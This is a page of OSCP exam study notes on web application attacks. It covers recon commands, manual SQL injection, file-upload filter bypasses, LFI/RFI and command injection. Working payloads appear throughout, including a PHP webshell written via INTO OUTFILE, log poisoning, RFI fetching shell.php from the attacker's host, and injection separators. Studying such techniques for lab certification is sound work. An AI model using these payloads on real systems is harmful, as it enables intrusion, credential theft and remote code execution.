Skip to content

Web application attacks

← Back to index

Web is the most common OSCP foothold surface, and here the exam forces manual skill: SQLmap is banned, so you inject by hand. For the deep per-vulnerability methodology (every XSS context, blind SQLi, SSTI, XXE) see the companion BSCP notes; this page is the OSCP-relevant subset — the handful of web bugs that actually land a shell — with the reasoning for choosing between them.

Recon decides everything

You can't pick an attack until you know the stack. Fingerprint first, because the technology dictates the vulnerability class (a PHP app, an ASP.NET app, and a known CMS fail in completely different ways).

whatweb http://$IP ; curl -sI http://$IP       # server, framework, cookies, headers
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w subdomains.txt -fs <baseline>   # vhosts
nikto -h http://$IP
Always view source + comments, read /robots.txt, look for backup files (.bak, ~, .old — these leak source and creds), and identify the CMS/version → searchsploit. If a site looks empty or boring, you've almost certainly missed a vhost or a directory — that's an enumeration gap, not a dead target.

Which attack? Read what the app gives you

flowchart TD
  A["web app"] --> B{"what's in front of you?"}
  B -->|login panel| C["default creds -> SQLi auth bypass -> brute"]
  B -->|upload feature| D["upload a webshell"]
  B -->|a file/path in the URL| E["LFI / RFI / traversal"]
  B -->|input echoed into a command| F["command injection"]
  B -->|known CMS + version| G["searchsploit the CMS"]
  C --> H["shell / admin"]
  D --> H
  E --> H
  F --> H
  G --> H
The decision is driven by the feature, not by cycling through payloads. A login panel → you think auth bypass/defaults. An upload → you think webshell. A ?file= parameter → you think LFI. Match the attack to the surface.

Known CMS / version — the fastest win

If you fingerprinted a CMS, that's usually the intended path. searchsploit wordpress, drupal, joomla; default creds on the admin panel; then abuse an authenticated feature for RCE (edit a theme/plugin PHP in WordPress, deploy a malicious WAR via Tomcat /manager). Reasoning: CMS footholds are common on OSCP because they're realistic — enumerate the version, find the matching exploit or default login, done.

SQL injection — by hand (SQLmap is banned)

Why manual matters: you must understand the query you're breaking. Detect, then decide: auth bypass (fastest if it's a login), UNION extract (if results render), or file write (if it lands a shell).

-- detect
' or 1=1-- -
-- auth bypass (you don't even need to extract anything)
admin'-- -
-- UNION: find the column count, then pull data
' ORDER BY 5-- -                                   -- increment until it errors -> column count
' UNION SELECT 1,2,3,4,5-- -                        -- which numbers echo? those are your output columns
' UNION SELECT 1,username,password,4,5 FROM users-- -
-- MySQL FILE priv -> write a webshell (needs the web root path + FILE priv)
' UNION SELECT "<?php system($_GET['c']);?>",2,3 INTO OUTFILE '/var/www/html/s.php'-- -
Reasoning: try auth bypass first on a login — it's one payload and needs no extraction. UNION is for reading data (dump the users table, crack the hashes). INTO OUTFILE and MSSQL xp_cmdshell (see MSSQL) are the paths from SQLi to shell.

File upload → webshell

Why it works and how filters fail: the app lets you upload a file and then serves it from a known directory — if you can upload something the server executes (.php, .aspx, .jsp), browsing to it runs your code. Filters try to stop this; you defeat the specific filter:

extension check  -> shell.php.jpg, shell.pHp, shell.phtml, shell.php5, shell.asp;.jpg
content-type     -> set Content-Type: image/png in Burp while keeping .php
magic bytes      -> prepend GIF89a; so it "looks like" an image
Then browse to it: curl "http://$IP/uploads/shell.php?cmd=id". Reasoning: match the shell type to the server (.php only runs if PHP is installed; use .aspx on IIS). Find the upload directory (often /uploads, /files, or shown in the response).

LFI / RFI / path traversal

Why it works: a parameter names a file the app includes/reads. Traversal reads arbitrary files; with PHP wrappers or log poisoning it becomes RCE.

http://$IP/?page=../../../../etc/passwd                    # confirm traversal
http://$IP/?page=php://filter/convert.base64-encode/resource=index.php   # read SOURCE (find creds/paths)
http://$IP/?page=/var/log/apache2/access.log&c=id          # log poisoning: put <?php system($_GET['c']);?> in User-Agent, then include the log
http://$IP/?page=http://$LHOST/shell.php                   # RFI if allow_url_include=On
Reasoning: LFI first reads source (which leaks DB creds and the web-root path you need for other attacks), and then becomes RCE via log poisoning or a wrapper. Don't stop at /etc/passwd — that only proves the bug; chain it to code execution.

Command injection

Why it works: user input is passed into a shell command. A separator lets you append your own.

;id    |id    `id`    $(id)    %0aid    &&id
# blind (no output)? confirm out-of-band, then go for a shell:
; ping -c1 $LHOST      # watch `tcpdump -i tun0 icmp` — if pings arrive, it executed
Reasoning: if you see output, you have RCE immediately → reverse shell. If output is suppressed (blind), prove execution with an OOB ping to your box, then fire a reverse shell blindly.